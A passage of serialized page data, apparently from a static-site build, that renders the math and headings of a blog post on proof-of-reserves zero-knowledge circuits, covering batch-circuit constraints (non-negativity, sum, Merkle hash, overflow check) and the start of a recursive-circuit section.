],{"type":23,"tag":141,"props":92541,"children":92542},{},[],{"type":23,"tag":141,"props":92544,"children":92546},{"className":92545,"style":2863},[2766],[],{"type":23,"tag":141,"props":92548,"children":92550},{"className":92549},[2868],[92551],{"type":29,"value":8623},{"type":23,"tag":141,"props":92553,"children":92555},{"className":92554,"style":2863},[2766],[],{"type":23,"tag":141,"props":92557,"children":92559},{"className":92558},[2675],[92560,92565],{"type":23,"tag":141,"props":92561,"children":92564},{"className":92562,"style":92563},[2680],"height:0.6444em;",[],{"type":23,"tag":141,"props":92566,"children":92568},{"className":92567},[2686],[92569],{"type":29,"value":2698},{"type":29,"value":45},{"type":23,"tag":3998,"props":92572,"children":92573},{},[92574],{"type":29,"value":92575},"(non-negativity)",{"type":23,"tag":120,"props":92577,"children":92578},{},[92579,92917,92918],{"type":23,"tag":38,"props":92580,"children":92582},{"className":92581},[2658,2659],[92583],{"type":23,"tag":141,"props":92584,"children":92586},{"className":92585},[2664],[92587],{"type":23,"tag":141,"props":92588,"children":92590},{"className":92589,"ariaHidden":2670},[2669],[92591,92727],{"type":23,"tag":141,"props":92592,"children":92594},{"className":92593},[2675],[92595,92599,92604,92609,92614,92619,92624,92629,92634,92639,92644,92649,92654,92659,92664,92669,92674,92679,92684,92689,92694,92699,92704,92709,92714,92718,92723],{"type":23,"tag":141,"props":92596,"children":92598},{"className":92597,"style":91474},[2680],[],{"type":23,"tag":141,"props":92600,"children":92602},{"className":92601},[2686,20260],[92603],{"type":29,"value":20402},{"type":23,"tag":141,"props":92605,"children":92607},{"className":92606},[2686,20260],[92608],{"type":29,"value":91502},{"type":23,"tag":141,"props":92610,"children":92612},{"className":92611},[2686,20260],[92613],{"type":29,"value":20402},{"type":23,"tag":141,"props":92615,"children":92617},{"className":92616},[2686,20260],[92618],{"type":29,"value":55},{"type":23,"tag":141,"props":92620,"children":92622},{"className":92621,"style":91544},[2686,20260],[92623],{"type":29,"value":91547},{"type":23,"tag":141,"props":92625,"children":92627},{"className":92626,"style":91532},[2686],[92628],{"type":29,"value":1743},{"type":23,"tag":141,"props":92630,"children":92632},{"className":92631},[2686,20260],[92633],{"type":29,"value":55},{"type":23,"tag":141,"props":92635,"children":92637},{"className":92636},[2686,20260],[92638],{"type":29,"value":91523},{"type":23,"tag":141,"props":92640,"children":92642},{"className":92641},[2686,20260],[92643],{"type":29,"value":20402},{"type":23,"tag":141,"props":92645,"children":92647},{"className":92646,"style":91532},[2686],[92648],{"type":29,"value":1743},{"type":23,"tag":141,"props":92650,"children":92652},{"className":92651},[2686,20260],[92653],{"type":29,"value":91540},{"type":23,"tag":141,"props":92655,"children":92657},{"className":92656,"style":91544},[2686,20260],[92658],{"type":29,"value":91547},{"type":23,"tag":141,"props":92660,"children":92662},{"className":92661},[2686,20260],[92663],{"type":29,"value":91553},{"type":23,"tag":141,"props":92665,"children":92667},{"className":92666},[2686,20260],[92668],{"type":29,"value":91559},{"type":23,"tag":141,"props":92670,"children":92672},{"className":92671},[20389],[92673],{"type":29,"value":2399},{"type":23,"tag":141,"props":92675,"children":92677},{"className":92676},[2686,20260],[92678],{"type":29,"value":55},{"type":23,"tag":141,"props":92680,"children":92682},{"className":92681},[2686,20260],[92683],{"type":29,"value":91523},{"type":23,"tag":141,"props":92685,"children":92687},{"className":92686},[2686,20260],[92688],{"type":29,"value":20402},{"type":23,"tag":141,"props":92690,"children":92692},{"className":92691,"style":91532},[2686],[92693],{"type":29,"value":1743},{"type":23,"tag":141,"props":92695,"children":92697},{"className":92696},[2686,20260],[92698],{"type":29,"value":54883},{"type":23,"tag":141,"props":92700,"children":92702},{"className":92701},[2686,20260],[92703],{"type":29,"value":91791},{"type":23,"tag":141,"props":92705,"children":92707},{"className":92706},[2686,20260],[92708],{"type":29,"value":49612},{"type":23,"tag":141,"props":92710,"children":92712},{"className":92711},[20411],[92713],{"type":29,"value":14088},{"type":23,"tag":141,"props":92715,"children":92717},{"className":92716,"style":2863},[2766],[],{"type":23,"tag":141,"props":92719,"children":92721},{"className":92720},[2868],[92722],{"type":29,"value":7251},{"type":23,"tag":141,"props":92724,"children":92726},{"className":92725,"style":2863},[2766],[],{"type":23,"tag":141,"props":92728,"children":92730},{"className":92729},[2675],[92731,92735,92740,92745,92750,92755,92760,92765,92770,92775,92780,92785,92790,92795,92800,92805,92810,92815,92872,92877,92882,92887,92892,92897,92902,92907,92912],{"type":23,"tag":141,"props":92732,"children":92734},{"className":92733,"style":91474},[2680],[],{"type":23,"tag":141,"props":92736,"children":92738},{"className":92737},[2686],[92739],{"type":29,"value":92122},{"type":23,"tag":141,"props":92741,"children":92743},{"className":92742},[2766],[92744],{"type":29,"value":20361},{"type":23,"tag":141,"props":92746,"children":92748},{"className":92747},[2686,20260],[92749],{"type":29,"value":55},{"type":23,"tag":141,"props":92751,"children":92753},{"className":92752},[2686,20260],[92754],{"type":29,"value":91989},{"type":23,"tag":141,"props":92756,"children":92758},{"className":92757},[2686,20260],[92759],{"type":29,"value":91791},{"type":23,"tag":141,"props":92761,"children":92763},{"className":92762},[2686,20260],[92764],{"type":29,"value":54883},{"type":23,"tag":141,"props":92766,"children":92768},{"className":92767},[2686,20260],[92769],{"type":29,"value":20402},{"type":23,"tag":141,"props":92771,"children":92773},{"className":92772,"style":91532},[2686],[92774],{"type":29,"value":1743},{"type":23,"tag":141,"props":92776,"children":92778},{"className":92777},[2686,20260],[92779],{"type":29,"value":55},{"type":23,"tag":141,"props":92781,"children":92783},{"className":92782},[2686,20260],[92784],{"type":29,"value":91523},{"type":23,"tag":141,"props":92786,"children":92788},{"className":92787},[2686,20260],[92789],{"type":29,"value":20402},{"type":23,"tag":141,"props":92791,"children":92793},{"className":92792,"style":91532},[2686],[92794],{"type":29,"value":1743},{"type":23,"tag":141,"props":92796,"children":92798},{"className":92797},[2686,20260],[92799],{"type":29,"value":91540},{"type":23,"tag":141,"props":92801,"children":92803},{"className":92802,"style":91544},[2686,20260],[92804],{"type":29,"value":91547},{"type":23,"tag":141,"props":92806,"children":92808},{"className":92807},[2686,20260],[92809],{"type":29,"value":91553},{"type":23,"tag":141,"props":92811,"children":92813},{"className":92812},[2686,20260],[92814],{"type":29,"value":91559},{"type":23,"tag":141,"props":92816,"children":92818},{"className":92817},[2686],[92819,92824],{"type":23,"tag":141,"props":92820,"children":92822},{"className":92821},[2686,20260],[92823],{"type":29,"value":9332},{"type":23,"tag":141,"props":92825,"children":92827},{"className":92826},[2702],[92828],{"type":23,"tag":141,"props":92829,"children":92831},{"className":92830},[2707,20314],[92832,92861],{"type":23,"tag":141,"props":92833,"children":92835},{"className":92834},[2712],[92836,92856],{"type":23,"tag":141,"props":92837,"children":92839},{"className":92838,"style":92061},[2717],[92840],{"type":23,"tag":141,"props":92841,"children":92842},{"style":91588},[92843,92847],{"type":23,"tag":141,"props":92844,"children":92846},{"className":92845,"style":2727},[2726],[],{"type":23,"tag":141,"props":92848,"children":92850},{"className":92849},[2732,2733,2734,2735],[92851],{"type":23,"tag":141,"props":92852,"children":92854},{"className":92853},[2686,20260,2735],[92855],{"type":29,"value":2404},{"type":23,"tag":141,"props":92857,"children":92859},{"className":92858},[20417],[92860],{"type":29,"value":20420},{"type":23,"tag":141,"props":92862,"children":92864},{"className":92863},[2712],[92865],{"type":23,"tag":141,"props":92866,"children":92868},{"className":92867,"style":91615},[2717],[92869],{"type":23,"tag":141,"props":92870,"children":92871},{},[],{"type":23,"tag":141,"props":92873,"children":92875},{"className":92874},[20389],[92876],{"type":29,"value":2399},{"type":23,"tag":141,"props":92878,"children":92880},{"className":92879},[2686,20260],[92881],{"type":29,"value":55},{"type":23,"tag":141,"props":92883,"children":92885},{"className":92884},[2686,20260],[92886],{"type":29,"value":91523},{"type":23,"tag":141,"props":92888,"children":92890},{"className":92889},[2686,20260],[92891],{"type":29,"value":20402},{"type":23,"tag":141,"props":92893,"children":92895},{"className":92894,"style":91532},[2686],[92896],{"type":29,"value":1743},{"type":23,"tag":141,"props":92898,"children":92900},{"className":92899},[2686,20260],[92901],{"type":29,"value":54883},{"type":23,"tag":141,"props":92903,"children":92905},{"className":92904},[2686,20260],[92906],{"type":29,"value":91791},{"type":23,"tag":141,"props":92908,"children":92910},{"className":92909},[2686,20260],[92911],{"type":29,"value":49612},{"type":23,"tag":141,"props":92913,"children":92915},{"className":92914},[20411],[92916],{"type":29,"value":14088},{"type":29,"value":45},{"type":23,"tag":3998,"props":92919,"children":92920},{},[92921],{"type":29,"value":92922},"(sum proof)",{"type":23,"tag":120,"props":92924,"children":92925},{},[92926,93315,93316],{"type":23,"tag":38,"props":92927,"children":92929},{"className":92928},[2658,2659],[92930],{"type":23,"tag":141,"props":92931,"children":92933},{"className":92932},[2664],[92934],{"type":23,"tag":141,"props":92935,"children":92937},{"className":92936,"ariaHidden":2670},[2669],[92938,93024],{"type":23,"tag":141,"props":92939,"children":92941},{"className":92940},[2675],[92942,92947,92952,92958,92964,92969,92974,92979,92984,92990,92995,93001,93006,93011,93015,93020],{"type":23,"tag":141,"props":92943,"children":92946},{"className":92944,"style":92945},[2680],"height:1.0044em;vertical-align:-0.31em;",[],{"type":23,"tag":141,"props":92948,"children":92950},{"className":92949},[2686,20260],[92951],{"type":29,"value":49612},{"type":23,"tag":141,"props":92953,"children":92955},{"className":92954,"style":91532},[2686,20260],[92956],{"type":29,"value":92957},"er",{"type":23,"tag":141,"props":92959,"children":92962},{"className":92960,"style":92961},[2686,20260],"margin-right:0.03148em;",[92963],{"type":29,"value":87169},{"type":23,"tag":141,"props":92965,"children":92967},{"className":92966,"style":91544},[2686,20260],[92968],{"type":29,"value":91547},{"type":23,"tag":141,"props":92970,"children":92972},{"className":92971},[2686,20260],[92973],{"type":29,"value":49933},{"type":23,"tag":141,"props":92975,"children":92977},{"className":92976,"style":91532},[2686],[92978],{"type":29,"value":1743},{"type":23,"tag":141,"props":92980,"children":92982},{"className":92981},[2686,20260],[92983],{"type":29,"value":20402},{"type":23,"tag":141,"props":92985,"children":92987},{"className":92986},[2686,20260],[92988],{"type":29,"value":92989},"ree",{"type":23,"tag":141,"props":92991,"children":92993},{"className":92992,"style":91532},[2686],[92994],{"type":29,"value":1743},{"type":23,"tag":141,"props":92996,"children":92998},{"className":92997},[2686,20260],[92999],{"type":29,"value":93000},"ha",{"type":23,"tag":141,"props":93002,"children":93004},{"className":93003},[2686,20260],[93005],{"type":29,"value":9332},{"type":23,"tag":141,"props":93007,"children":93009},{"className":93008},[2686,20260],[93010],{"type":29,"value":82830},{"type":23,"tag":141,"props":93012,"children":93014},{"className":93013,"style":2863},[2766],[],{"type":23,"tag":141,"props":93016,"children":93018},{"className":93017},[2868],[93019],{"type":29,"value":7251},{"type":23,"tag":141,"props":93021,"children":93023},{"className":93022,"style":2863},[2766],[],{"type":23,"tag":141,"props":93025,"children":93027},{"className":93026},[2675],[93028,93032,93037,93042,93047,93052,93057,93062,93067,93072,93077,93134,93139,93143,93148,93153,93210,93215,93220,93224,93229,93234,93238,93243,93248,93310],{"type":23,"tag":141,"props":93029,"children":93031},{"className":93030,"style":2787},[2680],[],{"type":23,"tag":141,"props":93033,"children":93035},{"className":93034,"style":20261},[2686,20260],[93036],{"type":29,"value":20264},{"type":23,"tag":141,"props":93038,"children":93040},{"className":93039},[2686,20260],[93041],{"type":29,"value":91486},{"type":23,"tag":141,"props":93043,"children":93045},{"className":93044},[2686,20260],[93046],{"type":29,"value":2404},{"type":23,"tag":141,"props":93048,"children":93050},{"className":93049},[2686,20260],[93051],{"type":29,"value":69047},{"type":23,"tag":141,"props":93053,"children":93055},{"className":93054},[2686,20260],[93056],{"type":29,"value":91502},{"type":23,"tag":141,"props":93058,"children":93060},{"className":93059},[2686,20260],[93061],{"type":29,"value":54883},{"type":23,"tag":141,"props":93063,"children":93065},{"className":93064},[20389],[93066],{"type":29,"value":192},{"type":23,"tag":141,"props":93068,"children":93070},{"className":93069},[2686,20260],[93071],{"type":29,"value":93000},{"type":23,"tag":141,"props":93073,"children":93075},{"className":93074},[2686,20260],[93076],{"type":29,"value":9332},{"type":23,"tag":141,"props":93078,"children":93080},{"className":93079},[2686],[93081,93086],{"type":23,"tag":141,"props":93082,"children":93084},{"className":93083},[2686,20260],[93085],{"type":29,"value":82830},{"type":23,"tag":141,"props":93087,"children":93089},{"className":93088},[2702],[93090],{"type":23,"tag":141,"props":93091,"children":93093},{"className":93092},[2707,20314],[93094,93123],{"type":23,"tag":141,"props":93095,"children":93097},{"className":93096},[2712],[93098,93118],{"type":23,"tag":141,"props":93099,"children":93101},{"className":93100,"style":91584},[2717],[93102],{"type":23,"tag":141,"props":93103,"children":93104},{"style":91588},[93105,93109],{"type":23,"tag":141,"props":93106,"children":93108},{"className":93107,"style":2727},[2726],[],{"type":23,"tag":141,"props":93110,"children":93112},{"className":93111},[2732,2733,2734,2735],[93113],{"type":23,"tag":141,"props":93114,"children":93116},{"className":93115},[2686,2735],[93117],{"type":29,"value":2698},{"type":23,"tag":141,"props":93119,"children":93121},{"className":93120},[20417],[93122],{"type":29,"value":20420},{"type":23,"tag":141,"props":93124,"children":93126},{"className":93125},[2712],[93127],{"type":23,"tag":141,"props":93128,"children":93130},{"className":93129,"style":91615},[2717],[93131],{"type":23,"tag":141,"props":93132,"children":93133},{},[],{"type":23,"tag":141,"props":93135,"children":93137},{"className":93136},[2798],[93138],{"type":29,"value":512},{"type":23,"tag":141,"props":93140,"children":93142},{"className":93141,"style":2804},[2766],[],{"type":23,"tag":141,"props":93144,"children":93146},{"className":93145},[2686,20260],[93147],{"type":29,"value":93000},{"type":23,"tag":141,"props":93149,"children":93151},{"className":93150},[2686,20260],[93152],{"type":29,"value":9332},{"type":23,"tag":141,"props":93154,"children":93156},{"className":93155},[2686],[93157,93162],{"type":23,"tag":141,"props":93158,"children":93160},{"className":93159},[2686,20260],[93161],{"type":29,"value":82830},{"type":23,"tag":141,"props":93163,"children":93165},{"className":93164},[2702],[93166],{"type":23,"tag":141,"props":93167,"children":93169},{"className":93168},[2707,20314],[93170,93199],{"type":23,"tag":141,"props":93171,"children":93173},{"className":93172},[2712],[93174,93194],{"type":23,"tag":141,"props":93175,"children":93177},{"className":93176,"style":91584},[2717],[93178],{"type":23,"tag":141,"props":93179,"children":93180},{"style":91588},[93181,93185],{"type":23,"tag":141,"props":93182,"children":93184},{"className":93183,"style":2727},[2726],[],{"type":23,"tag":141,"props":93186,"children":93188},{"className":93187},[2732,2733,2734,2735],[93189],{"type":23,"tag":141,"props":93190,"children":93192},{"className":93191},[2686,2735],[93193],{"type":29,"value":687},{"type":23,"tag":141,"props":93195,"children":93197},{"className":93196},[20417],[93198],{"type":29,"value":20420},{"type":23,"tag":141,"props":93200,"children":93202},{"className":93201},[2712],[93203],{"type":23,"tag":141,"props":93204,"children":93206},{"className":93205,"style":91615},[2717],[93207],{"type":23,"tag":141,"props":93208,"children":93209},{},[],{"type":23,"tag":141,"props":93211,"children":93213},{"className":93212},[2798],[93214],{"type":29,"value":512},{"type":23,"tag":141,"props":93216,"children":93218},{"className":93217},[2766],[93219],{"type":29,"value":20361},{"type":23,"tag":141,"props":93221,"children":93223},{"className":93222,"style":2804},[2766],[],{"type":23,"tag":141,"props":93225,"children":93227},{"className":93226},[2686],[93228],{"type":29,"value":8269},{"type":23,"tag":141,"props":93230,"children":93232},{"className":93231},[2798],[93233],{"type":29,"value":512},{"type":23,"tag":141,"props":93235,"children":93237},{"className":93236,"style":2804},[2766],[],{"type":23,"tag":141,"props":93239,"children":93241},{"className":93240},[2686,20260],[93242],{"type":29,"value":93000},{"type":23,"tag":141,"props":93244,"children":93246},{"className":93245},[2686,20260],[93247],{"type":29,"value":9332},{"type":23,"tag":141,"props":93249,"children":93251},{"className":93250},[2686],[93252,93257],{"type":23,"tag":141,"props":93253,"children":93255},{"className":93254},[2686,20260],[93256],{"type":29,"value":82830},{"type":23,"tag":141,"props":93258,"children":93260},{"className":93259},[2702],[93261],{"type":23,"tag":141,"props":93262,"children":93264},{"className":93263},[2707,20314],[93265,93299],{"type":23,"tag":141,"props":93266,"children":93268},{"className":93267},[2712],[93269,93294],{"type":23,"tag":141,"props":93270,"children":93272},{"className":93271,"style":91584},[2717],[93273],{"type":23,"tag":141,"props":93274,"children":93275},{"style":91588},[93276,93280],{"type":23,"tag":141,"props":93277,"children":93279},{"className":93278,"style":2727},[2726],[],{"type":23,"tag":141,"props":93281,"children":93283},{"className":93282},[2732,2733,2734,2735],[93284],{"type":23,"tag":141,"props":93285,"children":93287},{"className":93286},[2686,2735],[93288],{"type":23,"tag":141,"props":93289,"children":93291},{"className":93290},[2686,2735],[93292],{"type":29,"value":93293},"511",{"type":23,"tag":141,"props":93295,"children":93297},{"className":93296},[20417],[93298],{"type":29,"value":20420},{"type":23,"tag":141,"props":93300,"children":93302},{"className":93301},[2712],[93303],{"type":23,"tag":141,"props":93304,"children":93306},{"className":93305,"style":91615},[2717],[93307],{"type":23,"tag":141,"props":93308,"children":93309},{},[],{"type":23,"tag":141,"props":93311,"children":93313},{"className":93312},[20411],[93314],{"type":29,"value":1788},{"type":29,"value":45},{"type":23,"tag":3998,"props":93317,"children":93318},{},[93319],{"type":29,"value":93320},"(merkle tree hash)",{"type":23,"tag":120,"props":93322,"children":93323},{},[93324,93599,93600,93605,93607,93612],{"type":23,"tag":38,"props":93325,"children":93327},{"className":93326},[2658,2659],[93328],{"type":23,"tag":141,"props":93329,"children":93331},{"className":93330},[2664],[93332],{"type":23,"tag":141,"props":93333,"children":93335},{"className":93334,"ariaHidden":2670},[2669],[93336,93529],{"type":23,"tag":141,"props":93337,"children":93339},{"className":93338},[2675],[93340,93344,93349,93354,93359,93364,93369,93374,93379,93384,93389,93394,93399,93404,93409,93414,93471,93476,93481,93486,93491,93496,93501,93506,93511,93516,93520,93525],{"type":23,"tag":141,"props":93341,"children":93343},{"className":93342,"style":91474},[2680],[],{"type":23,"tag":141,"props":93345,"children":93347},{"className":93346},[2686,20260],[93348],{"type":29,"value":55},{"type":23,"tag":141,"props":93350,"children":93352},{"className":93351},[2686,20260],[93353],{"type":29,"value":91989},{"type":23,"tag":141,"props":93355,"children":93357},{"className":93356},[2686,20260],[93358],{"type":29,"value":91791},{"type":23,"tag":141,"props":93360,"children":93362},{"className":93361},[2686,20260],[93363],{"type":29,"value":54883},{"type":23,"tag":141,"props":93365,"children":93367},{"className":93366},[2686,20260],[93368],{"type":29,"value":20402},{"type":23,"tag":141,"props":93370,"children":93372},{"className":93371,"style":91532},[2686],[93373],{"type":29,"value":1743},{"type":23,"tag":141,"props":93375,"children":93377},{"className":93376},[2686,20260],[93378],{"type":29,"value":55},{"type":23,"tag":141,"props":93380,"children":93382},{"className":93381},[2686,20260],[93383],{"type":29,"value":91523},{"type":23,"tag":141,"props":93385,"children":93387},{"className":93386},[2686,20260],[93388],{"type":29,"value":20402},{"type":23,"tag":141,"props":93390,"children":93392},{"className":93391,"style":91532},[2686],[93393],{"type":29,"value":1743},{"type":23,"tag":141,"props":93395,"children":93397},{"className":93396},[2686,20260],[93398],{"type":29,"value":91540},{"type":23,"tag":141,"props":93400,"children":93402},{"className":93401,"style":91544},[2686,20260],[93403],{"type":29,"value":91547},{"type":23,"tag":141,"props":93405,"children":93407},{"className":93406},[2686,20260],[93408],{"type":29,"value":91553},{"type":23,"tag":141,"props":93410,"children":93412},{"className":93411},[2686,20260],[93413],{"type":29,"value":91559},{"type":23,"tag":141,"props":93415,"children":93417},{"className":93416},[2686],[93418,93423],{"type":23,"tag":141,"props":93419,"children":93421},{"className":93420},[2686,20260],[93422],{"type":29,"value":9332},{"type":23,"tag":141,"props":93424,"children":93426},{"className":93425},[2702],[93427],{"type":23,"tag":141,"props":93428,"children":93430},{"className":93429},[2707,20314],[93431,93460],{"type":23,"tag":141,"props":93432,"children":93434},{"className":93433},[2712],[93435,93455],{"type":23,"tag":141,"props":93436,"children":93438},{"className":93437,"style":92061},[2717],[93439],{"type":23,"tag":141,"props":93440,"children":93441},{"style":91588},[93442,93446],{"type":23,"tag":141,"props":93443,"children":93445},{"className":93444,"style":2727},[2726],[],{"type":23,"tag":141,"props":93447,"children":93449},{"className":93448},[2732,2733,2734,2735],[93450],{"type":23,"tag":141,"props":93451,"children":93453},{"className":93452},[2686,20260,2735],[93454],{"type":29,"value":2404},{"type":23,"tag":141,"props":93456,"children":93458},{"className":93457},[20417],[93459],{"type":29,"value":20420},{"type":23,"tag":141,"props":93461,"children":93463},{"className":93462},[2712],[93464],{"type":23,"tag":141,"props":93465,"children":93467},{"className":93466,"style":91615},[2717],[93468],{"type":23,"tag":141,"props":93469,"children":93470},{},[],{"type":23,"tag":141,"props":93472,"children":93474},{"className":93473},[20389],[93475],{"type":29,"value":2399},{"type":23,"tag":141,"props":93477,"children":93479},{"className":93478},[2686,20260],[93480],{"type":29,"value":55},{"type":23,"tag":141,"props":93482,"children":93484},{"className":93483},[2686,20260],[93485],{"type":29,"value":91523},{"type":23,"tag":141,"props":93487,"children":93489},{"className":93488},[2686,20260],[93490],{"type":29,"value":20402},{"type":23,"tag":141,"props":93492,"children":93494},{"className":93493,"style":91532},[2686],[93495],{"type":29,"value":1743},{"type":23,"tag":141,"props":93497,"children":93499},{"className":93498},[2686,20260],[93500],{"type":29,"value":54883},{"type":23,"tag":141,"props":93502,"children":93504},{"className":93503},[2686,20260],[93505],{"type":29,"value":91791},{"type":23,"tag":141,"props":93507,"children":93509},{"className":93508},[2686,20260],[93510],{"type":29,"value":49612},{"type":23,"tag":141,"props":93512,"children":93514},{"className":93513},[20411],[93515],{"type":29,"value":14088},{"type":23,"tag":141,"props":93517,"children":93519},{"className":93518,"style":2863},[2766],[],{"type":23,"tag":141,"props":93521,"children":93523},{"className":93522},[2868],[93524],{"type":29,"value":4480},{"type":23,"tag":141,"props":93526,"children":93528},{"className":93527,"style":2863},[2766],[],{"type":23,"tag":141,"props":93530,"children":93532},{"className":93531},[2675],[93533,93537,93544,93549,93555,93560,93565,93570,93576,93581,93587,93593],{"type":23,"tag":141,"props":93534,"children":93536},{"className":93535,"style":91474},[2680],[],{"type":23,"tag":141,"props":93538,"children":93541},{"className":93539,"style":93540},[2686,20260],"margin-right:0.10903em;",[93542],{"type":29,"value":93543},"M",{"type":23,"tag":141,"props":93545,"children":93547},{"className":93546},[2686,20260],[93548],{"type":29,"value":75252},{"type":23,"tag":141,"props":93550,"children":93553},{"className":93551,"style":93552},[2686,20260],"margin-right:0.07847em;",[93554],{"type":29,"value":4807},{"type":23,"tag":141,"props":93556,"children":93558},{"className":93557,"style":91532},[2686],[93559],{"type":29,"value":1743},{"type":23,"tag":141,"props":93561,"children":93563},{"className":93562,"style":20719},[2686,20260],[93564],{"type":29,"value":20722},{"type":23,"tag":141,"props":93566,"children":93568},{"className":93567},[2686,20260],[93569],{"type":29,"value":75252},{"type":23,"tag":141,"props":93571,"children":93573},{"className":93572,"style":20719},[2686,20260],[93574],{"type":29,"value":93575},"FE",{"type":23,"tag":141,"props":93577,"children":93579},{"className":93578,"style":91532},[2686],[93580],{"type":29,"value":1743},{"type":23,"tag":141,"props":93582,"children":93584},{"className":93583,"style":93552},[2686,20260],[93585],{"type":29,"value":93586},"I",{"type":23,"tag":141,"props":93588,"children":93590},{"className":93589,"style":20261},[2686,20260],[93591],{"type":29,"value":93592},"NT",{"type":23,"tag":141,"props":93594,"children":93596},{"className":93595},[2686],[93597],{"type":29,"value":93598},"/512",{"type":29,"value":45},{"type":23,"tag":3998,"props":93601,"children":93602},{},[93603],{"type":29,"value":93604},"(overflow check)",{"type":29,"value":93606}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":23,"tag":38,"props":93608,"children":93610},{"className":93609},[],[93611],{"type":29,"value":91390},{"type":29,"value":1788},{"type":23,"tag":32,"props":93614,"children":93615},{},[93616],{"type":29,"value":93617},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":23,"tag":32,"props":93619,"children":93620},{},[93621],{"type":23,"tag":2591,"props":93622,"children":93624},{"alt":49057,"src":93623},"/posts/por/batch-circuit-inputs.png",[],{"type":23,"tag":8287,"props":93626,"children":93628},{"id":93627},"recursive-circuit",[93629],{"type":29,"value":93630},"Recursive Circuit",{"type":23,"tag":32,"props":93632,"children":93633},{},[93634],{"type":29,"value":93635},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":23,"tag":32,"props":93637,"children":93638},{},[93639],{"type":23,"tag":3998,"props":93640,"children":93641},{},[93642],{"type":29,"value":91904},{"type":23,"tag":15362,"props":93644,"children":93645},{},[93646,93650,93655],{"type":23,"tag":120,"props":93647,"children":93648},{},[93649],{"type":29,"value":91922},{"type":23,"tag":120,"props":93651,"children":93652},{},[93653],{"type":29,"value":93654},"Asset prices",{"type":23,"tag":120,"props":93656,"children":93657},{},[93658],{"type":29,"value":91917},{"type":23,"tag":32,"props":93660,"children":93661},{},[93662],{"type":23,"tag":3998,"props":93663,"children":93664},{},[93665],{"type":29,"value":91930},{"type":23,"tag":15362,"props":93667,"children":93668},{},[93669],{"type":23,"tag":120,"props":93670,"children":93671},{},[93672],{"type":29,"value":93673},"8 subproofs",{"type":23,"tag":32,"props":93675,"children":93676},{},[93677],{"type":23,"tag":3998,"props":93678,"children":93679},{},[93680],{"type":29,"value":91951},{"type":23,"tag":15362,"props":93682,"children":93683},{},[93684,94094,94425,94792,95179],{"type":23,"tag":120,"props":93685,"children":93686},{},[93687,94089,94090],{"type":23,"tag":38,"props":93688,"children":93690},{"className":93689},[2658,2659],[93691],{"type":23,"tag":141,"props":93692,"children":93694},{"className":93693},[2664],[93695],{"type":23,"tag":141,"props":93696,"children":93698},{"className":93697,"ariaHidden":2670},[2669],[93699,93835],{"type":23,"tag":141,"props":93700,"children":93702},{"className":93701},[2675],[93703,93707,93712,93717,93722,93727,93732,93737,93742,93747,93752,93757,93762,93767,93772,93777,93782,93787,93792,93797,93802,93807,93812,93817,93822,93826,93831],{"type":23,"tag":141,"props":93704,"children":93706},{"className":93705,"style":91474},[2680],[],{"type":23,"tag":141,"props":93708,"children":93710},{"className":93709},[2686,20260],[93711],{"type":29,"value":20402},{"type":23,"tag":141,"props":93713,"children":93715},{"className":93714},[2686,20260],[93716],{"type":29,"value":91502},{"type":23,"tag":141,"props":93718,"children":93720},{"className":93719},[2686,20260],[93721],{"type":29,"value":20402},{"type":23,"tag":141,"props":93723,"children":93725},{"className":93724},[2686,20260],[93726],{"type":29,"value":55},{"type":23,"tag":141,"props":93728,"children":93730},{"className":93729,"style":91544},[2686,20260],[93731],{"type":29,"value":91547},{"type":23,"tag":141,"props":93733,"children":93735},{"className":93734,"style":91532},[2686],[93736],{"type":29,"value":1743},{"type":23,"tag":141,"props":93738,"children":93740},{"className":93739},[2686,20260],[93741],{"type":29,"value":55},{"type":23,"tag":141,"props":93743,"children":93745},{"className":93744},[2686,20260],[93746],{"type":29,"value":91523},{"type":23,"tag":141,"props":93748,"children":93750},{"className":93749},[2686,20260],[93751],{"type":29,"value":20402},{"type":23,"tag":141,"props":93753,"children":93755},{"className":93754,"style":91532},[2686],[93756],{"type":29,"value":1743},{"type":23,"tag":141,"props":93758,"children":93760},{"className":93759},[2686,20260],[93761],{"type":29,"value":91540},{"type":23,"tag":141,"props":93763,"children":93765},{"className":93764,"style":91544},[2686,20260],[93766],{"type":29,"value":91547},{"type":23,"tag":141,"props":93768,"children":93770},{"className":93769},[2686,20260],[93771],{"type":29,"value":91553},{"type":23,"tag":141,"props":93773,"children":93775},{"className":93774},[2686,20260],[93776],{"type":29,"value":91559},{"type":23,"tag":141,"props":93778,"children":93780},{"className":93779},[20389],[93781],{"type":29,"value":2399},{"type":23,"tag":141,"props":93783,"children":93785},{"className":93784},[2686,20260],[93786],{"type":29,"value":55},{"type":23,"tag":141,"props":93788,"children":93790},{"className":93789},[2686,20260],[93791],{"type":29,"value":91523},{"type":23,"tag":141,"props":93793,"children":93795},{"className":93794},[2686,20260],[93796],{"type":29,"value":20402},{"type":23,"tag":141,"props":93798,"children":93800},{"className":93799,"style":91532},[2686],[93801],{"type":29,"value":1743},{"type":23,"tag":141,"props":93803,"children":93805},{"className":93804},[2686,20260],[93806],{"type":29,"value":54883},{"type":23,"tag":141,"props":93808,"children":93810},{"className":93809},[2686,20260],[93811],{"type":29,"value":91791},{"type":23,"tag":141,"props":93813,"children":93815},{"className":93814},[2686,20260],[93816],{"type":29,"value":49612},{"type":23,"tag":141,"props":93818,"children":93820},{"className":93819},[20411],[93821],{"type":29,"value":14088},{"type":23,"tag":141,"props":93823,"children":93825},{"className":93824,"style":2863},[2766],[],{"type":23,"tag":141,"props":93827,"children":93829},{"className":93828},[2868],[93830],{"type":29,"value":7251},{"type":23,"tag":141,"props":93832,"children":93834},{"className":93833,"style":2863},[2766],[],{"type":23,"tag":141,"props":93836,"children":93838},{"className":93837},[2675],[93839,93843,93848,93853,93858,93863,93868,93873,93879,93938,93943,93948,93953,93958,93963,93968,93973,93978,93984,93989,93994,93999,94004,94009,94014,94019,94024,94029,94034,94039,94044,94049,94054,94059,94064,94069,94074,94079,94084],{"type":23,"tag":141,"props":93840,"children":93842},{"className":93841,"style":91474},[2680],[],{"type":23,"tag":141,"props":93844,"children":93846},{"className":93845},[2686],[93847],{"type":29,"value":92122},{"type":23,"tag":141,"props":93849,"children":93851},{"className":93850},[2766],[93852],{"type":29,"value":20361},{"type":23,"tag":141,"props":93854,"children":93856},{"className":93855},[2686,20260],[93857],{"type":29,"value":9332},{"type":23,"tag":141,"props":93859,"children":93861},{"className":93860},[2686,20260],[93862],{"type":29,"value":91791},{"type":23,"tag":141,"props":93864,"children":93866},{"className":93865},[2686,20260],[93867],{"type":29,"value":1883},{